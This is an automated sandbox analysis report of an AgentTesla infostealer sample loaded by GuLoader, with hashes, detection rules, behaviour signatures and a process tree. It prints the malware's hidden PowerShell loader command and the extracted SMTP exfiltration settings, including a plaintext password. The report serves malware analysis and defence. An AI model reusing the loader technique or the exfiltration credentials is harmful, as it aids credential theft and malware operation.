agenttesla | 2c79efff8958d72ea87da05593ae8e168f7c0e9bcbbc5f73ec390784337e99df

Analysis

max time kernel
154s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
16/03/2024, 02:11

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General

Target

Bibeskftigelserne221.exe
Size

1.2MB
MD5

792dec181c3f286826d04aecd6cf32f1
SHA1

d71c41fd445053571453dd43f8071e058de19ced
SHA256

ec9fe9526ec132e17c934f5b3993f164b8cb5ec15813171c04f63ff563ad4f1e
SHA512

fddd91dc77476ba57be516a4a4893beadcb84cf7d916bc80fda92640ec8a5a6b3e3a3efba72f5d56b9a0af6bf2a8092d40131825ed2c10b99a1367e47c169748
SSDEEP

24576:7BG3e6TOKsix+24/2LoxYHum/1DJQRzEWbo/bwo:dGe6TOiE202sxYOO10UDwo

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
smtp.gmail.com
Port:
587
Username:
[email protected]
Password:
hwuo jybd dtga lmyz

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
smtp.gmail.com
Port:
587
Username:
[email protected]
Password:
hwuo jybd dtga lmyz
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs

resource	yara_rule
behavioral2/memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral2/memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs

resource	yara_rule
behavioral2/memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs

resource	yara_rule
behavioral2/memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral2/memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral2/memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral2/memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral2/memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
76	api.ipify.org
77	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1828	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4532	powershell.exe
1828	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4532 set thread context of 1828	4532	powershell.exe	114

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4532	powershell.exe
4532	powershell.exe
4532	powershell.exe
4532	powershell.exe
4532	powershell.exe
4532	powershell.exe
4532	powershell.exe
4532	powershell.exe
4532	powershell.exe
4532	powershell.exe
1828	wab.exe
1828	wab.exe
1828	wab.exe
1828	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4532	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4532	powershell.exe
Token: SeDebugPrivilege	1828	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1828	wab.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 5072 wrote to memory of 4532	5072	Bibeskftigelserne221.exe	101
PID 5072 wrote to memory of 4532	5072	Bibeskftigelserne221.exe	101
PID 5072 wrote to memory of 4532	5072	Bibeskftigelserne221.exe	101
PID 4532 wrote to memory of 3012	4532	powershell.exe	105
PID 4532 wrote to memory of 3012	4532	powershell.exe	105
PID 4532 wrote to memory of 3012	4532	powershell.exe	105
PID 4532 wrote to memory of 1828	4532	powershell.exe	114
PID 4532 wrote to memory of 1828	4532	powershell.exe	114
PID 4532 wrote to memory of 1828	4532	powershell.exe	114
PID 4532 wrote to memory of 1828	4532	powershell.exe	114
PID 4532 wrote to memory of 1828	4532	powershell.exe	114

C:\Users\Admin\AppData\Local\Temp\Bibeskftigelserne221.exe
"C:\Users\Admin\AppData\Local\Temp\Bibeskftigelserne221.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5072
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -windowstyle hidden "$Coveter=Get-Content 'C:\Users\Admin\AppData\Roaming\Bilithon\benthoscope\Schizopod\Nonmakeup101.Pan55';$Paatalemyndighederne=$Coveter.SubString(54624,3);.$Paatalemyndighederne($Coveter)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4532
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
    3⤵
    PID:3012
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1828

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4032 --field-trial-handle=2900,i,14549994492153927475,12895178890800740987,262144 --variations-seed-version /prefetch:8
1⤵
PID:3964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gxrotjjk.uz3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Bilithon\benthoscope\Demoralizingly167.Len

Filesize
325KB

MD5
17afb85f7d98834a22aa2d79adcc4952

SHA1
e4d0af396242985d07bec411d80e6516161a283f

SHA256
6d1b4dff638e2368991cce0c1fa8a7023764807dd6d9b053589053f4ac6e8cd8

SHA512
ce847608470eb94614c0d6ae272be49f1653bab99127d7ee5ae22fb35c35f9f91be36bf44fe30ddb2bec8841c674da6794b0c3dd067b168a5bdd313308a8d57d

Download Submit
C:\Users\Admin\AppData\Roaming\Bilithon\benthoscope\Schizopod\Nonmakeup101.Pan55

Filesize
53KB

MD5
2e56e126a7f68c9dbb6167bfc1cd26c2

SHA1
e45b4e9dff74f0711968994253b8fcaf39a5f8e3

SHA256
b3fb58fdae2d31784f1b1c4f62b2c20a985789de7cb63b6e4748168aac4fb70a

SHA512
15b0861ae57b05cc8906d8706332797da2152d44f16ba4c89da37fc6ec5753d543e890d898ecda384bcf1cf18894291a94262959dd7f395649e220629a814e3d

Download Submit
memory/1828-51-0x00000000779A1000-0x0000000077AC1000-memory.dmp

Filesize
1.1MB

Download
memory/1828-49-0x0000000001E60000-0x000000000352F000-memory.dmp

Filesize
22.8MB

Download
memory/1828-70-0x00000000213E0000-0x00000000213F0000-memory.dmp

Filesize
64KB

Download
memory/1828-69-0x0000000073DD0000-0x0000000074580000-memory.dmp

Filesize
7.7MB

Download
memory/1828-67-0x0000000022300000-0x000000002230A000-memory.dmp

Filesize
40KB

Download
memory/1828-66-0x0000000022400000-0x0000000022492000-memory.dmp

Filesize
584KB

Download
memory/1828-64-0x0000000022360000-0x00000000223FC000-memory.dmp

Filesize
624KB

Download
memory/1828-63-0x0000000021FE0000-0x0000000022030000-memory.dmp

Filesize
320KB

Download
memory/1828-62-0x00000000213E0000-0x00000000213F0000-memory.dmp

Filesize
64KB

Download
memory/1828-60-0x0000000073DD0000-0x0000000074580000-memory.dmp

Filesize
7.7MB

Download
memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp

Filesize
272KB

Download
memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp

Filesize
18.3MB

Download
memory/1828-52-0x0000000001E60000-0x000000000352F000-memory.dmp

Filesize
22.8MB

Download
memory/1828-50-0x0000000077A28000-0x0000000077A29000-memory.dmp

Filesize
4KB

Download
memory/4532-30-0x0000000006CD0000-0x0000000006CEA000-memory.dmp

Filesize
104KB

Download
memory/4532-32-0x0000000007FD0000-0x0000000008574000-memory.dmp

Filesize
5.6MB

Download
memory/4532-35-0x0000000073DD0000-0x0000000074580000-memory.dmp

Filesize
7.7MB

Download
memory/4532-38-0x0000000002D20000-0x0000000002D30000-memory.dmp

Filesize
64KB

Download
memory/4532-37-0x0000000002D20000-0x0000000002D30000-memory.dmp

Filesize
64KB

Download
memory/4532-9-0x0000000002D20000-0x0000000002D30000-memory.dmp

Filesize
64KB

Download
memory/4532-43-0x0000000009280000-0x000000000A94F000-memory.dmp

Filesize
22.8MB

Download
memory/4532-12-0x00000000057C0000-0x0000000005DE8000-memory.dmp

Filesize
6.2MB

Download
memory/4532-41-0x0000000007D00000-0x0000000007D04000-memory.dmp

Filesize
16KB

Download
memory/4532-44-0x0000000009280000-0x000000000A94F000-memory.dmp

Filesize
22.8MB

Download
memory/4532-45-0x0000000002D20000-0x0000000002D30000-memory.dmp

Filesize
64KB

Download
memory/4532-46-0x0000000002D20000-0x0000000002D30000-memory.dmp

Filesize
64KB

Download
memory/4532-47-0x0000000009280000-0x000000000A94F000-memory.dmp

Filesize
22.8MB

Download
memory/4532-48-0x00000000779A1000-0x0000000077AC1000-memory.dmp

Filesize
1.1MB

Download
memory/4532-10-0x0000000003140000-0x0000000003176000-memory.dmp

Filesize
216KB

Download
memory/4532-34-0x0000000008C00000-0x000000000927A000-memory.dmp

Filesize
6.5MB

Download
memory/4532-8-0x0000000073DD0000-0x0000000074580000-memory.dmp

Filesize
7.7MB

Download
memory/4532-31-0x0000000006D20000-0x0000000006D42000-memory.dmp

Filesize
136KB

Download
memory/4532-40-0x0000000002D20000-0x0000000002D30000-memory.dmp

Filesize
64KB

Download
memory/4532-58-0x0000000073DD0000-0x0000000074580000-memory.dmp

Filesize
7.7MB

Download
memory/4532-29-0x0000000007980000-0x0000000007A16000-memory.dmp

Filesize
600KB

Download
memory/4532-28-0x0000000002D20000-0x0000000002D30000-memory.dmp

Filesize
64KB

Download
memory/4532-61-0x0000000009280000-0x000000000A94F000-memory.dmp

Filesize
22.8MB

Download
memory/4532-27-0x0000000006810000-0x000000000685C000-memory.dmp

Filesize
304KB

Download
memory/4532-26-0x0000000006740000-0x000000000675E000-memory.dmp

Filesize
120KB

Download
memory/4532-21-0x0000000006180000-0x00000000064D4000-memory.dmp

Filesize
3.3MB

Download
memory/4532-11-0x0000000002D20000-0x0000000002D30000-memory.dmp

Filesize
64KB

Download
memory/4532-15-0x0000000006110000-0x0000000006176000-memory.dmp

Filesize
408KB

Download
memory/4532-14-0x00000000060A0000-0x0000000006106000-memory.dmp

Filesize
408KB

Download
memory/4532-13-0x0000000005660000-0x0000000005682000-memory.dmp

Filesize
136KB

Download